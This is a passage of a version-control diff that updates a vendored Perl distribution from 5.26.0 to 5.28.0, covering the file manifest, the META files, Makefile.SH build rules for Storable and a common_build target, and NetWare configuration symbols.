 ext/XS-APItest/t/labelconst.aux	auxiliary file for label test
 ext/XS-APItest/t/labelconst.t	test recursive descent label parsing
 ext/XS-APItest/t/labelconst_utf8.aux	auxiliary file for label test in UTF-8
@@ -4301,18 +4427,18 @@
 ext/XS-APItest/t/underscore_length.t	Test find_rundefsv()
 ext/XS-APItest/t/utf16_to_utf8.t	Test behaviour of utf16_to_utf8{,reversed}
 ext/XS-APItest/t/utf8.t		Tests for code in utf8.c
-ext/XS-APItest/t/utf8_malformed.t	Tests for code in utf8.c
 ext/XS-APItest/t/utf8_setup.pl	Tests for code in utf8.c
-ext/XS-APItest/t/utf8_warn0.t	Tests for code in utf8.c
-ext/XS-APItest/t/utf8_warn1.t	Tests for code in utf8.c
-ext/XS-APItest/t/utf8_warn2.t	Tests for code in utf8.c
-ext/XS-APItest/t/utf8_warn3.t	Tests for code in utf8.c
-ext/XS-APItest/t/utf8_warn4.t	Tests for code in utf8.c
-ext/XS-APItest/t/utf8_warn5.t	Tests for code in utf8.c
-ext/XS-APItest/t/utf8_warn6.t	Tests for code in utf8.c
-ext/XS-APItest/t/utf8_warn7.t	Tests for code in utf8.c
-ext/XS-APItest/t/utf8_warn8.t	Tests for code in utf8.c
-ext/XS-APItest/t/utf8_warn9.t	Tests for code in utf8.c
+ext/XS-APItest/t/utf8_to_bytes.t	Tests for code in utf8.c
+ext/XS-APItest/t/utf8_warn00.t	Tests for code in utf8.c
+ext/XS-APItest/t/utf8_warn01.t	Tests for code in utf8.c
+ext/XS-APItest/t/utf8_warn02.t	Tests for code in utf8.c
+ext/XS-APItest/t/utf8_warn03.t	Tests for code in utf8.c
+ext/XS-APItest/t/utf8_warn04.t	Tests for code in utf8.c
+ext/XS-APItest/t/utf8_warn05.t	Tests for code in utf8.c
+ext/XS-APItest/t/utf8_warn06.t	Tests for code in utf8.c
+ext/XS-APItest/t/utf8_warn07.t	Tests for code in utf8.c
+ext/XS-APItest/t/utf8_warn08.t	Tests for code in utf8.c
+ext/XS-APItest/t/utf8_warn09.t	Tests for code in utf8.c
 ext/XS-APItest/t/utf8_warn_base.pl	Tests for code in utf8.c
 ext/XS-APItest/t/weaken.t	XS::APItest: tests for sv_rvweaken() and sv_get_backrefs()
 ext/XS-APItest/t/whichsig.t	XS::APItest: tests for whichsig() and variants
@@ -4381,7 +4507,6 @@
 hints/fps.sh			Hints for named architecture
 hints/freebsd.sh		Hints for named architecture
 hints/freemint.sh		Hints for named architecture
-hints/genix.sh			Hints for named architecture
 hints/gnu.sh			Hints for named architecture
 hints/gnukfreebsd.sh		Hints for named architecture
 hints/gnuknetbsd.sh		Hints for named architecture
@@ -4414,7 +4539,6 @@
 hints/os390.sh			Hints for named architecture
 hints/os400.sh			Hints for named architecture
 hints/posix-bc.sh		Hints for named architecture
-hints/powerux.sh		Hints for named architecture
 hints/qnx.sh			Hints for named architecture
 hints/README.hints		Notes about hints
 hints/riscos.sh			Hints for named architecture
@@ -4444,6 +4568,7 @@
 hv.c				Hash value code
 hv.h				Hash value header
 hv_func.h			Hash value static inline function header
+hv_macro.h			Macros used by hv_func.h
 inline.h			Static inline functions
 INSTALL				Detailed installation instructions
 install_lib.pl			functions shared between install* scripts
@@ -4575,6 +4700,7 @@
 lib/perl5db/t/MyModule.pm	Tests for the Perl debugger
 lib/perl5db/t/proxy-constants	Tests for the Perl debugger
 lib/perl5db/t/rt-104168		Tests for the Perl debugger
+lib/perl5db/t/rt-120174		Tests for the Perl debugger
 lib/perl5db/t/rt-121509-restart-after-chdir		Tests for the Perl debugger
 lib/perl5db/t/rt-61222		Tests for the Perl debugger
 lib/perl5db/t/rt-66110		Tests for the Perl debugger
@@ -4694,6 +4820,7 @@
 lib/unicore/StandardizedVariants.txt		Unicode character database
 lib/unicore/UnicodeData.txt			Unicode character database
 lib/unicore/version				The version of the Unicode
+lib/unicore/VerticalOrientation.txt		Unicode character database
 lib/UNIVERSAL.pm		Base class for ALL classes
 lib/User/grent.pm		By-name interface to Perl's builtin getgr*
 lib/User/grent.t		See if User::grwent works
@@ -4859,6 +4986,7 @@
 os2/perlrexx.cmd		Test perl interpreter embedded in REXX
 overload.h			generated overload enum (public)
 overload.inc			generated overload name table (implementation)
+PACKAGING			notes and best practice for packaging perl 5
 packsizetables.inc		The generated packprops array used in pp_pack.c
 pad.c				Scratchpad functions
 pad.h				Scratchpad headers
@@ -4866,6 +4994,8 @@
 patchlevel.h			The current patch level of perl
 perl.c				main()
 perl.h				Global declarations
+perl_inc_macro.h		macro used to set \@INC using S_incpush_use_sep
+perl_langinfo.h			Perl's version of <langinfo.h>
 perlapi.c			Perl API functions
 perlapi.h			Perl API function declarations
 perldtrace.d			D script for Perl probes
@@ -4929,8 +5059,15 @@
 pod/perl5221delta.pod		Perl changes in version 5.22.1
 pod/perl5222delta.pod		Perl changes in version 5.22.2
 pod/perl5223delta.pod		Perl changes in version 5.22.3
+pod/perl5224delta.pod		Perl changes in version 5.22.4
 pod/perl5240delta.pod		Perl changes in version 5.24.0
 pod/perl5241delta.pod		Perl changes in version 5.24.1
+pod/perl5242delta.pod		Perl changes in version 5.24.2
+pod/perl5243delta.pod		Perl changes in version 5.24.3
+pod/perl5244delta.pod		Perl changes in version 5.24.4
+pod/perl5260delta.pod		Perl changes in version 5.26.0
+pod/perl5261delta.pod		Perl changes in version 5.26.1
+pod/perl5262delta.pod		Perl changes in version 5.26.2
 pod/perl561delta.pod		Perl changes in version 5.6.1
 pod/perl56delta.pod		Perl changes in version 5.6
 pod/perl581delta.pod		Perl changes in version 5.8.1
@@ -5089,6 +5226,7 @@
 Porting/manicheck		Check against MANIFEST
 Porting/manifest_lib.pl		Library for checking and sorting the MANIFEST
 Porting/manisort		Sort the MANIFEST
+Porting/mksample		Generate Porting/config_H and Porting/config.sh
 Porting/new-perldelta.pl	Generate a new perldelta
 Porting/newtests-perldelta.pl	Generate Perldelta stub for newly added tests
 Porting/perldelta_template.pod	Template for creating new perldelta.pod files
@@ -5176,6 +5314,7 @@
 regen/miniperlmain.pl		generate miniperlmain.c
 regen/mk_invlists.pl		Generates charclass_invlists.h
 regen/mk_PL_charclass.pl	Populate the PL_charclass table
+regen/mph.pl			Generate perfect hashes
 regen/op_private		Definitions of bits in an OP's op_private field
 regen/opcode.pl			Opcode header generator
 regen/opcodes			Opcode data
@@ -5194,8 +5333,10 @@
 regnodes.h			Description of nodes of RE engine
 run.c				The interpreter loop
 runtests.SH			A script that generates runtests
+sbox32_hash.h			SBox hash code (32 Bit SBOX based hash function)
 scope.c				Scope entry and exit code
 scope.h				Scope entry and exit header
+stadtx_hash.h			StadtX hash code (64 Bit fast hash function)
 sv.c				Scalar value code
 sv.h				Scalar value header
 symbian/bld.inf			Symbian sample app build config
@@ -5258,6 +5399,7 @@
 t/base/translate.t		See if character set translation works
 t/base/while.t			See if while work
 t/benchmark/rt26188-speed-up-keys-on-empty-hash.t	Benchmark if keys on empty hashes is fast enough
+t/bigmem/hash.t			Check hashing too large strings throws an exception
 t/bigmem/index.t		Check that index() handles large offsets
 t/bigmem/pos.t			Check that pos() handles large offsets
 t/bigmem/read.t			Check read() handles large offsets
@@ -5274,6 +5416,7 @@
 t/comp/cmdopt.t			See if command optimization works
 t/comp/colon.t			See if colons are parsed correctly
 t/comp/decl.t			See if declarations work
+t/comp/filter_exception.t	See if $@ survives source filters
 t/comp/final_line_num.t		See if line numbers are correct at EOF
 t/comp/fold.t			See if constant folding works
 t/comp/form_scope.t		See if format scoping works
@@ -5332,6 +5475,7 @@
 t/io/semctl.t			See if SysV semaphore semctl works
 t/io/shm.t			See if SysV shared memory works
 t/io/socket.t			See if socket functions work
+t/io/socketpair.t		See if socketpair function works
 t/io/tell.t			See if file seeking works
 t/io/through.t			See if pipe passes data intact
 t/io/utf8.t			See if file seeking works
@@ -5348,6 +5492,7 @@
 t/lib/croak/pp_ctl		Test croak calls from pp_ctl.c
 t/lib/croak/pp_hot		Test croak calls from pp_hot.c
 t/lib/croak/pp_sys		Test croak calls from pp_sys.c
+t/lib/croak/regcomp		Test croak calls from regcomp.c
 t/lib/croak/toke		Test croak calls from toke.c
 t/lib/croak/toke_l1		Test croak calls from toke.c; file is not UTF-8 encoded
 t/lib/cygwin.t			Builtin cygwin function tests
@@ -5512,6 +5657,7 @@
 t/op/bop.t			See if bitops work
 t/op/caller.pl			Tests shared between caller.t and XS op.t
 t/op/caller.t			See if caller() works
+t/op/catch.t			See if catching exception works
 t/op/chars.t			See if character escapes work
 t/op/chdir.t			See if chdir works
 t/op/chop.t			See if chop works
@@ -5658,7 +5804,9 @@
 t/op/srand.t			See if srand works
 t/op/sselect.t			See if 4 argument select works
 t/op/stash.t			See if %:: stashes work
+t/op/stash_parse_gv.t		See if parse_gv_stash_name works
 t/op/stat.t			See if stat works
+t/op/stat_errors.t		See if stat and file tests handle threshold errors
 t/op/state.t			See if state variables work
 t/op/study.t			See if study works
 t/op/studytied.t		See if study works with tied scalars
@@ -5714,7 +5862,16 @@
 t/perl.supp			Perl valgrind suppressions
 t/porting/args_assert.t		Check that all PERL_ARGS_ASSERT* macros are used
 t/porting/authors.t		Check that all authors have been acknowledged
-t/porting/bench.t		Check that Porting/bench.pl is okay
+t/porting/bench.t		Check Porting/bench.pl runs ok
+t/porting/bench/badhash		a test file for t/porting/bench.t
+t/porting/bench/badname		a test file for t/porting/bench.t
+t/porting/bench/badversion.json	a test file for t/porting/bench.t
+t/porting/bench/callsub.json	a test file for t/porting/bench.t
+t/porting/bench/callsub2.json	a test file for t/porting/bench.t
+t/porting/bench/oddentry	a test file for t/porting/bench.t
+t/porting/bench/ret0		a test file for t/porting/bench.t
+t/porting/bench/synerr		a test file for t/porting/bench.t
+t/porting/bench_selftest.t	run Porting/bench.pl's selftest facility
 t/porting/bincompat.t		Check that {non_,}bincompat_options are ordered
 t/porting/checkcase.t		Check whether we are case-insensitive-fs-friendly
 t/porting/checkcfgvar.t		Check that all config.sh-like files are good
@@ -5744,6 +5901,7 @@
 t/porting/ss_dup.t		Check that sv.c:ss_dup handles everything
 t/porting/test_bootstrap.t	Test that the instructions for test bootstrapping aren't accidentally overlooked.
 t/porting/utils.t		Check that utility scripts still compile
+t/re/alpha_assertions.t		See if things like '(*postive_lookahed:...) work properly
 t/re/anyof.t			See if bracketed char classes [...] compile properly
 t/re/charset.t			See if regex modifiers like /d, /u work properly
 t/re/fold_grind.t		See if case folding works properly
@@ -5795,6 +5953,7 @@
 t/re/regexp_unicode_prop_thr.t	See if unicode properties work in regular expressions as expected under threads
 t/re/rt122747.t			Test rt122747 assert faile (requires DEBUGGING)
 t/re/rxcode.t			See if /(?{ code })/ works
+t/re/script_run.t		See if script runs works
 t/re/speed.t			See if optimisations are keeping things fast
 t/re/speed_thr.t		ditto under threads
 t/re/subst.t			See if substitution works
@@ -5862,7 +6021,6 @@
 t/uni/goto.t			See if Unicode goto &sub works
 t/uni/greek.t			See if Unicode in greek works
 t/uni/gv.t			See if Unicode GVs work.
-t/uni/heavy.t			See if utf8_heavy.pl uses perl that depends on it
 t/uni/labels.t			See if Unicode labels work
 t/uni/latin2.t			See if Unicode in latin2 works
 t/uni/lex_utf8.t		See if Unicode in lexer works
@@ -5900,6 +6058,7 @@
 uconfig.h			Configuration header for microperl
 uconfig.sh			Configuration script for microperl
 uconfig64.sh			Configuration script for microperl for LP64
+uni_keywords.h			Map unicode property names to numbers
 unicode_constants.h		compile-time macros for Unicode code points
 universal.c			The default UNIVERSAL package methods
 unixish.h			Defines that are assumed on Unix
@@ -6014,3 +6173,4 @@
 win32/wincesck.c		WinCE port
 write_buildcustomize.pl		Generate lib/buildcustomize.pl
 XSUB.h				Include file for extension subroutines
+zaphod32_hash.h			Zaphod32 hash code (32 bit fast hash function)

Modified: vendor/perl/dist/META.json
===================================================================
--- vendor/perl/dist/META.json	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/META.json	2018-12-22 22:55:19 UTC (rev 12126)
@@ -21,6 +21,7 @@
          "dist/Carp",
          "dist/constant",
          "dist/Data-Dumper",
+         "dist/Devel-PPPort",
          "dist/Devel-SelfStubber",
          "dist/Dumpvalue",
          "dist/encoding-warnings",
@@ -126,6 +127,6 @@
          "url" : "http://perl5.git.perl.org/"
       }
    },
-   "version" : "5.026000",
-   "x_serialization_backend" : "JSON::PP version 2.27400_02"
+   "version" : "5.028000",
+   "x_serialization_backend" : "JSON::PP version 2.97001"
 }

Modified: vendor/perl/dist/META.yml
===================================================================
--- vendor/perl/dist/META.yml	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/META.yml	2018-12-22 22:55:19 UTC (rev 12126)
@@ -19,6 +19,7 @@
     - dist/Carp
     - dist/constant
     - dist/Data-Dumper
+    - dist/Devel-PPPort
     - dist/Devel-SelfStubber
     - dist/Dumpvalue
     - dist/encoding-warnings
@@ -113,5 +114,5 @@
   homepage: http://www.perl.org/
   license: http://dev.perl.org/licenses/
   repository: http://perl5.git.perl.org/
-version: '5.026000'
+version: '5.028000'
 x_serialization_backend: 'CPAN::Meta::YAML version 0.018'

Modified: vendor/perl/dist/Makefile.SH
===================================================================
--- vendor/perl/dist/Makefile.SH	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Makefile.SH	2018-12-22 22:55:19 UTC (rev 12126)
@@ -176,11 +176,15 @@
 
 : is Cwd static or dynamic
 static_cwd='define'
+storable_limit_dep=''
+storable_type=''
 list_util_dep='$(PERL_EXE)'
 for f in $dynamic_ext; do
    case $f in
        Cwd) static_cwd='undef' ;;
-       List/Util) list_util_dep=lib/auto/List/Util/Util.$dlext
+       List/Util) list_util_dep=lib/auto/List/Util/Util.$dlext ;;
+       Storable) storable_limit_dep=lib/auto/Storable/Storable.$dlext
+                 storable_type='dynamic' ;;
    esac
 done
 
@@ -217,6 +221,7 @@
 $this_target: lib/auto/List/Util/Util\$(LIB_EXT)" ;;
 	Unicode/Normalize) extra_dep="$extra_dep
 $this_target: uni.data" ;;
+        Storable) storable_type='static' ;;
     esac
 done
 
@@ -570,7 +575,7 @@
 
 $spitshell >>$Makefile <<'!NO!SUBS!'
 
-perltoc_pod_prereqs = extra.pods pod/perl5260delta.pod pod/perlapi.pod pod/perlintern.pod pod/perlmodlib.pod pod/perluniprops.pod
+perltoc_pod_prereqs = extra.pods pod/perl5280delta.pod pod/perlapi.pod pod/perlintern.pod pod/perlmodlib.pod pod/perluniprops.pod
 generated_pods = pod/perltoc.pod $(perltoc_pod_prereqs)
 generated_headers = uudmap.h bitcount.h mg_data.h
 
@@ -618,7 +623,7 @@
 	@echo `$(CCCMDSRC)` -S $*.c
 	@`$(CCCMDSRC)` -S $*.c
 
-all: $(FIRSTMAKEFILE) $(MINIPERL_EXE) $(generated_pods) $(private) $(unidatafiles) $(public) $(dynamic_ext) $(nonxs_ext) extras.make $(MANIFEST_SRT)
+all: $(FIRSTMAKEFILE) $(MINIPERL_EXE) $(generated_pods) $(private) $(unidatafiles) $(public) $(dynamic_ext) $(nonxs_ext) extras.make $(MANIFEST_SRT) common_build
 	@echo " ";
 	@echo "	Everything is up to date. Type '$(MAKE) test' to run test suite."
 
@@ -829,7 +834,7 @@
 	esac
 	$spitshell >>$Makefile <<'!NO!SUBS!'
 perl.exp: $(MINIPERLEXP) makedef.pl $(CONFIGPM) $(SYM) $(SYMH)
-	./$(MINIPERLEXP) makedef.pl --sort-fold PLATFORM=aix CC_FLAGS="$(OPTIMIZE)" > perl.exp
+	$(MINIPERL) makedef.pl --sort-fold PLATFORM=aix CC_FLAGS="$(OPTIMIZE)" > perl.exp
 
 !NO!SUBS!
 	;;
@@ -838,7 +843,7 @@
 MINIPERLEXP		= miniperl
 
 perl5.def: $(MINIPERLEXP) makedef.pl $(CONFIGPM) $(SYM) $(SYMH) miniperl.map
-	./$(MINIPERLEXP) makedef.pl PLATFORM=os2 -DPERL_DLL=$(PERL_DLL) CC_FLAGS="$(OPTIMIZE)" > perl5.def
+	$(MINIPERL) makedef.pl PLATFORM=os2 -DPERL_DLL=$(PERL_DLL) CC_FLAGS="$(OPTIMIZE)" > perl5.def
 
 !NO!SUBS!
 	;;
@@ -1090,7 +1095,7 @@
 
 $spitshell >>$Makefile <<'!NO!SUBS!'
 
-.PHONY: preplibrary
+.PHONY: preplibrary common_build
 preplibrary: $(MINIPERL_EXE) $(CONFIGPM) $(PREPLIBRARY_LIBPERL)
 
 $(CONFIGPM_FROM_CONFIG_SH): $(CONFIGPOD)
@@ -1109,7 +1114,7 @@
 # $(PERL_EXE) and ext because pod_lib.pl needs Digest::MD5
 # But also this ensures that all extensions are built before we try to scan
 # them, which picks up Devel::PPPort's documentation.
-pod/perltoc.pod: $(perltoc_pod_prereqs)  $(PERL_EXE) $(ext) pod/buildtoc
+pod/perltoc.pod: $(perltoc_pod_prereqs) $(PERL_EXE) $(ext) pod/buildtoc
 	$(RUN_PERL) -f pod/buildtoc -q
 
 pod/perlapi.pod: pod/perlintern.pod
@@ -1120,9 +1125,9 @@
 pod/perlmodlib.pod: $(MINIPERL_EXE) pod/perlmodlib.PL MANIFEST
 	$(MINIPERL) pod/perlmodlib.PL -q
 
-pod/perl5260delta.pod: pod/perldelta.pod
-	$(RMS) pod/perl5260delta.pod
-	$(LNS) perldelta.pod pod/perl5260delta.pod
+pod/perl5280delta.pod: pod/perldelta.pod
+	$(RMS) pod/perl5280delta.pod
+	$(LNS) perldelta.pod pod/perl5280delta.pod
 
 extra.pods: $(MINIPERL_EXE)
 	- at test ! -f extra.pods || rm -f `cat extra.pods`
@@ -1153,7 +1158,26 @@
 install: install-all
 !NO!SUBS!
 
+if test "$storable_type" != "" ; then
 
+case "$static_cwd" in
+undef) storable_limit_dep="$storable_limit_dep lib/auto/Cwd/Cwd.$dlext" ;;
+esac
+
+$spitshell >>$Makefile <<EOT
+
+dist/Storable/lib/Storable/Limit.pm : \$(PERL_EXE) dist/Storable/stacksize $storable_limit_dep
+	cd dist/Storable ; \$(LDLIBPTH) \$(MAKE) lib/Storable/Limit.pm
+
+lib/Storable/Limit.pm : dist/Storable/lib/Storable/Limit.pm
+	test -d lib/Storable || mkdir lib/Storable
+	cp dist/Storable/lib/Storable/Limit.pm lib/Storable/Limit.pm
+EOT
+
+common_build_deps="$common_build_deps lib/Storable/Limit.pm"
+
+fi
+
 for name in all notify silent strip verbose; do
     flags="--$name";
     flags=`echo $flags | sed -e 's/--all//'`
@@ -1177,50 +1201,38 @@
 done
 
 if test "X$hostperl" != X; then
+	LOCAL_PERL='$(HOST_PERL)'
 	$spitshell >>$Makefile <<'!NO!SUBS!'
 install.perl:	$(INSTALL_DEPENDENCE) installperl
 	$(HOST_PERL) installperl --destdir=$(DESTDIR) $(INSTALLFLAGS) $(STRIPFLAGS)
 	- at test ! -s extras.lst || $(MAKE) extras.install
-
-install.man:	all installman
-	$(HOST_PERL) installman --destdir=$(DESTDIR) $(INSTALLFLAGS)
-
-# XXX Experimental. Hardwired values, but useful for testing.
-# Eventually Configure could ask for some of these values.
-install.html: all installhtml
-	- at test -f README.vms && cd vms && $(LNS) ../README.vms README_vms.pod && cd ..
-	$(HOST_PERL) installhtml   \
-      --podroot=. --podpath=. --recurse  \
-      --htmldir=$(privlib)/html   \
-      --htmlroot=$(privlib)/html  \
-      --splithead=pod/perlipc     \
-      --splititem=pod/perlfunc    \
-      --ignore=Porting/Maintainers.pm,Porting/pumpkin.pod,Porting/repository.pod \
-      --verbose
 !NO!SUBS!
 else
+	LOCAL_PERL='$(RUN_PERL)'
 	$spitshell >>$Makefile <<'!NO!SUBS!'
 install.perl:	$(INSTALL_DEPENDENCE) installperl
 	$(RUN_PERL) installperl --destdir=$(DESTDIR) $(INSTALLFLAGS) $(STRIPFLAGS)
 	- at test ! -s extras.lst || PATH="`pwd`:\${PATH}" PERL5LIB="`pwd`/lib" \$(RUN_PERL) -Ilib -MCPAN -e '@ARGV&&install(@ARGV)' `cat extras.lst`
 
+!NO!SUBS!
+fi
+
+$spitshell >>$Makefile <<!GROK!THIS!
 install.man:	all installman
-	$(RUN_PERL) installman --destdir=$(DESTDIR) $(INSTALLFLAGS)
+	${LOCAL_PERL} installman --destdir=\$(DESTDIR) \$(INSTALLFLAGS)
 
 # XXX Experimental. Hardwired values, but useful for testing.
 # Eventually Configure could ask for some of these values.
 install.html: all installhtml
-	- at test -f README.vms && cd vms && $(LNS) ../README.vms README_vms.pod && cd ..
-	$(RUN_PERL) installhtml   \
-      --podroot=. --podpath=. --recurse  \
-      --htmldir=$(privlib)/html   \
-      --htmlroot=$(privlib)/html  \
-      --splithead=pod/perlipc     \
-      --splititem=pod/perlfunc    \
-      --ignore=Porting/Maintainers.pm,Porting/pumpkin.pod,Porting/repository.pod \
+	- at test -f README.vms && cd vms && \$(LNS) ../README.vms README_vms.pod && cd ..
+	${LOCAL_PERL} installhtml   \\
+      --podroot=. --podpath=. --recurse  \\
+      --htmldir=\$(privlib)/html   \\
+      --splithead=pod/perlipc     \\
+      --splititem=pod/perlfunc    \\
+      --ignore=Porting/Maintainers.pm,Porting/pumpkin.pod,Porting/repository.pod \\
       --verbose
-!NO!SUBS!
-fi
+!GROK!THIS!
 
 $spitshell >>$Makefile <<'!NO!SUBS!'
 
@@ -1266,10 +1278,6 @@
 # with your existing copy of perl
 # (make regen_headers is kept for backwards compatibility)
 
-AUTOGEN_FILES = opcode.h opnames.h pp_proto.h proto.h embed.h embedvar.h \
-		perlapi.h perlapi.c regnodes.h warnings.h lib/warnings.pm \
-		lib/feature.pm feature.h
-
 .PHONY: regen_headers regen_all
 
 regen:	FORCE
@@ -1412,23 +1420,24 @@
 	-rmdir lib/Unicode/Collate/CJK lib/Unicode/Collate lib/Tie/Hash
 	-rmdir lib/Thread lib/Text lib/Test2/Util lib/Test2/Tools
 	-rmdir lib/Test2/IPC/Driver lib/Test2/IPC lib/Test2/Hub/Interceptor
-	-rmdir lib/Test2/Hub lib/Test2/Formatter lib/Test2/Event/TAP
-	-rmdir lib/Test2/Event lib/Test2/API lib/Test2 lib/Test/use
-	-rmdir lib/Test/Tester lib/Test/Builder/Tester lib/Test/Builder/IO
-	-rmdir lib/Test/Builder lib/Test lib/Term lib/TAP/Parser/YAMLish
-	-rmdir lib/TAP/Parser/SourceHandler lib/TAP/Parser/Scheduler
-	-rmdir lib/TAP/Parser/Result lib/TAP/Parser/Iterator lib/TAP/Parser
-	-rmdir lib/TAP/Harness lib/TAP/Formatter/File
-	-rmdir lib/TAP/Formatter/Console lib/TAP/Formatter lib/TAP
-	-rmdir lib/Sys/Syslog lib/Sys lib/Sub lib/Search lib/Scalar
-	-rmdir lib/Pod/Text lib/Pod/Simple lib/Pod/Perldoc lib/PerlIO/via
-	-rmdir lib/PerlIO lib/Perl lib/Parse/CPAN lib/Parse lib/Params
-	-rmdir lib/Net/FTP lib/Module/Load lib/Module/CoreList lib/Module
-	-rmdir lib/Memoize lib/Math/BigInt lib/Math/BigFloat lib/Math lib/MIME
-	-rmdir lib/Locale/Maketext lib/Locale/Codes lib/Locale lib/List/Util
-	-rmdir lib/List lib/JSON/PP lib/JSON lib/IPC lib/IO/Uncompress/Adapter
-	-rmdir lib/IO/Uncompress lib/IO/Socket lib/IO/Compress/Zlib
-	-rmdir lib/IO/Compress/Zip lib/IO/Compress/Gzip lib/IO/Compress/Base
+	-rmdir lib/Test2/Hub lib/Test2/Formatter lib/Test2/EventFacet
+	-rmdir lib/Test2/Event/TAP lib/Test2/Event lib/Test2/API lib/Test2
+	-rmdir lib/Test/use lib/Test/Tester lib/Test/Builder/Tester
+	-rmdir lib/Test/Builder/IO lib/Test/Builder lib/Test lib/Term
+	-rmdir lib/TAP/Parser/YAMLish lib/TAP/Parser/SourceHandler
+	-rmdir lib/TAP/Parser/Scheduler lib/TAP/Parser/Result
+	-rmdir lib/TAP/Parser/Iterator lib/TAP/Parser lib/TAP/Harness
+	-rmdir lib/TAP/Formatter/File lib/TAP/Formatter/Console
+	-rmdir lib/TAP/Formatter lib/TAP lib/Sys/Syslog lib/Sys lib/Sub
+	-rmdir lib/Search lib/Scalar lib/Pod/Text lib/Pod/Simple
+	-rmdir lib/Pod/Perldoc lib/PerlIO/via lib/PerlIO lib/Perl
+	-rmdir lib/Parse/CPAN lib/Parse lib/Params lib/Net/FTP lib/Module/Load
+	-rmdir lib/Module/CoreList lib/Module lib/Memoize lib/Math/BigInt
+	-rmdir lib/Math/BigFloat lib/Math lib/MIME lib/Locale/Maketext
+	-rmdir lib/Locale/Codes lib/Locale lib/List/Util lib/List lib/JSON/PP
+	-rmdir lib/JSON lib/IPC lib/IO/Uncompress/Adapter lib/IO/Uncompress
+	-rmdir lib/IO/Socket lib/IO/Compress/Zlib lib/IO/Compress/Zip
+	-rmdir lib/IO/Compress/Gzip lib/IO/Compress/Base
 	-rmdir lib/IO/Compress/Adapter lib/IO/Compress lib/IO
 	-rmdir lib/I18N/LangTags lib/I18N lib/Hash/Util lib/Hash lib/HTTP
 	-rmdir lib/Filter/Util lib/Filter lib/File/Spec lib/ExtUtils/Typemaps
@@ -1515,7 +1524,7 @@
 case "$targethost" in
 '') $spitshell >>$Makefile <<'!NO!SUBS!'
 test_prep test-prep: test_prep_pre $(MINIPERL_EXE) $(unidatafiles) $(PERL_EXE) \
-	$(dynamic_ext) $(TEST_PERL_DLL) runtests $(generated_pods)
+	$(dynamic_ext) $(TEST_PERL_DLL) runtests $(generated_pods) common_build
 	cd t && (rm -f $(PERL_EXE); $(LNS) ../$(PERL_EXE) $(PERL_EXE))
 
 !NO!SUBS!
@@ -1523,7 +1532,7 @@
 *) $spitshell >>$Makefile <<!GROK!THIS!
 test_prep test-prep: test_prep_pre \$(MINIPERL_EXE) \$(unidatafiles) \$(PERL_EXE) \
 	\$(dynamic_ext) \$(TEST_PERL_DLL) runtests \
-	\$(generated_pods)
+	\$(generated_pods) common_build
 	$to libperl.*
 	$to t/*
 	$to lib/*
@@ -1658,6 +1667,17 @@
 test_porting test-porting: test_prep
 	cd t && $(RUN_PERL) harness porting/*.t ../lib/diagnostics.t
 
+!NO!SUBS!
+
+$spitshell>>$Makefile <<!GROK!THIS!
+
+# intended as a common way to add dependencies to test-prep and all
+common_build: $common_build_deps
+
+!GROK!THIS!
+
+$spitshell >>$Makefile <<'!NO!SUBS!'
+
 # Handy way to run perlbug -ok without having to install and run the
 # installed perlbug. We don't re-run the tests here - we trust the user.
 # Please *don't* use this unless all tests pass.

Modified: vendor/perl/dist/Makefile.micro
===================================================================
--- vendor/perl/dist/Makefile.micro	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Makefile.micro	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,6 @@
 LD = $(CC)
 CCFLAGS = -c
-DEFINES = -DPERL_CORE -DPERL_MICRO -DSTANDARD_C -DPERL_USE_SAFE_PUTENV \
-	  -DNO_MATHOMS
+DEFINES = -DPERL_CORE -DPERL_MICRO -DPERL_USE_SAFE_PUTENV -DNO_MATHOMS
 OPTIMIZE = 
 CFLAGS = $(DEFINES) $(OPTIMIZE)
 LDFLAGS = 

Modified: vendor/perl/dist/NetWare/Makefile
===================================================================
--- vendor/perl/dist/NetWare/Makefile	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/NetWare/Makefile	2018-12-22 22:55:19 UTC (rev 12126)
@@ -86,7 +86,7 @@
 
 
 # Here comes the CW tools - TO BE FILLED TO BUILD WITH CW -
-MODULE_DESC     = "Perl 5.26.0 for NetWare"
+MODULE_DESC     = "Perl 5.28.0 for NetWare"
 CCTYPE          = CodeWarrior
 C_COMPILER		= mwccnlm -c
 CPP_COMPILER	= mwccnlm
@@ -462,7 +462,7 @@
 # versioned installation can be obtained by setting INST_TOP above to a
 # path that includes an arbitrary version string.
 #
-INST_VER	= \5.26.0
+INST_VER	= \5.28.0
 
 #
 # Comment this out if you DON'T want your perl installation to have

Modified: vendor/perl/dist/NetWare/config.wc
===================================================================
--- vendor/perl/dist/NetWare/config.wc	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/NetWare/config.wc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,7 +18,6 @@
 _o='.obj'
 afs='false'
 alignbytes='8'
-ansi2knr=''
 aphostname=''
 api_revision='~PERL_API_REVISION~'
 api_subversion='~PERL_API_SUBVERSION~'
@@ -91,6 +90,7 @@
 d_PRIx64='undef'
 d_SCNfldbl='undef'
 d__fwalk='undef'
+d_accept4='undef'
 d_access='define'
 d_accessx='undef'
 d_acosh='undef'
@@ -112,19 +112,18 @@
 d_attribute_unused='undef'
 d_attribute_warn_unused_result='undef'
 d_backtrace='undef'
-d_bcmp='undef'
-d_bcopy='undef'
 d_bsd='define'
 d_bsdgetpgrp='undef'
 d_bsdsetpgrp='undef'
+d_builtin_add_overflow='undef'
 d_builtin_choose_expr='undef'
 d_builtin_expect='undef'
-d_bzero='undef'
+d_builtin_mul_overflow='undef'
+d_builtin_sub_overflow='undef'
 d_c99_variadic_macros='undef'
 d_casti32='undef'
 d_castneg='define'
 d_cbrt='undef'
-d_charvspr='undef'
 d_chown='undef'
 d_chroot='undef'
 d_chsize='define'
@@ -167,6 +166,8 @@
 d_drand48_r='undef'
 d_drand48proto='undef'
 d_dup2='define'
+d_dup3='undef'
+d_duplocale='undef'
 d_eaccess='undef'
 d_endgrent='undef'
 d_endgrent_r='undef'
@@ -190,6 +191,7 @@
 d_faststdio='undef'
 d_fchdir='undef'
 d_fchmod='undef'
+d_fchmodat='undef'
 d_fchown='undef'
 d_fcntl='undef'
 d_fcntl_can_lock='undef'
@@ -331,10 +333,12 @@
 d_lgamma_r='undef'
 d_libm_lib_version='undef'
 d_link='define'
+d_linkat='undef'
